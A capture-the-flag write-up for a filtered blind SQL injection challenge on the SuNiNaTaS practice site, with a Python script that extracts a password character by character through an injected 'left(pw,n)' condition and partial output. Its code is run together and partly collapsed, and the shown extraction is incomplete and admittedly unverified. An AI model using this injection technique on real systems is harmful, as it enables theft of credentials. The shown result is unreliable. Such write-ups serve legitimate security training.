Game 23
This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.
Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.
Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:
import requestsimport stringimport sys
TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"import osCOOKIE_HEADER = os.environ.get("SUNINATAS_COOKIE")if not COOKIE_HEADER: raise SystemExit("SUNINATAS_COOKIE is required")SESSION = requests.Session()SESSION.headers["Cookie"] = COOKIE_HEADER
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"MAX_LENGTH = 31SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"
def check_str(count, test_string): params = { 'id': f"'or left(pw,{count})='{test_string}'--", 'pw': 'ar',22 collapsed lines
} try: response = SESSION.get(TARGET_URL, params=params, timeout=5, allow_redirects=False) response.raise_for_status() if 300 <= response.status_code < 400: raise RuntimeError("Redirect received; oracle result is unknown") return SUCCESS_INDICATOR in response.text except requests.RequestException as e: raise RuntimeError("Request failed; oracle result is unknown") from e
def main(): print(f"[*] Starting Blind SQL Injection on {TARGET_URL}") extracted_string = ""
for i in range(1, MAX_LENGTH + 1): found = False for char in CHARSET: if check_str(i, extracted_string + char): extracted_string += char print(f"[+] Char {i}: {char}") found = True break
if not found: raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")
print(f"\n[EXTRACTED CANDIDATE] {extracted_string}")
if __name__ == "__main__": main()The following retained transcript shows only an initial prefix, not a complete extraction or a success response. A current true/false control pair for SUCCESS_INDICATOR and a separately confirmed length are missing; an unmatched position now aborts instead of silently ending the extraction. The ad'+'min' hint above is not used by the shown or left(...) probe, and that variant is not independently verified here.
[+] Char 1: v[+] Char 2: 3[+] Char 3: r[+] Char 4: y[+] Char 5: h[+] Char 6: a[+] Char 7: r[+] Char 8: d[+] Char 9: s[+] Char 10: qv3ryhardsqli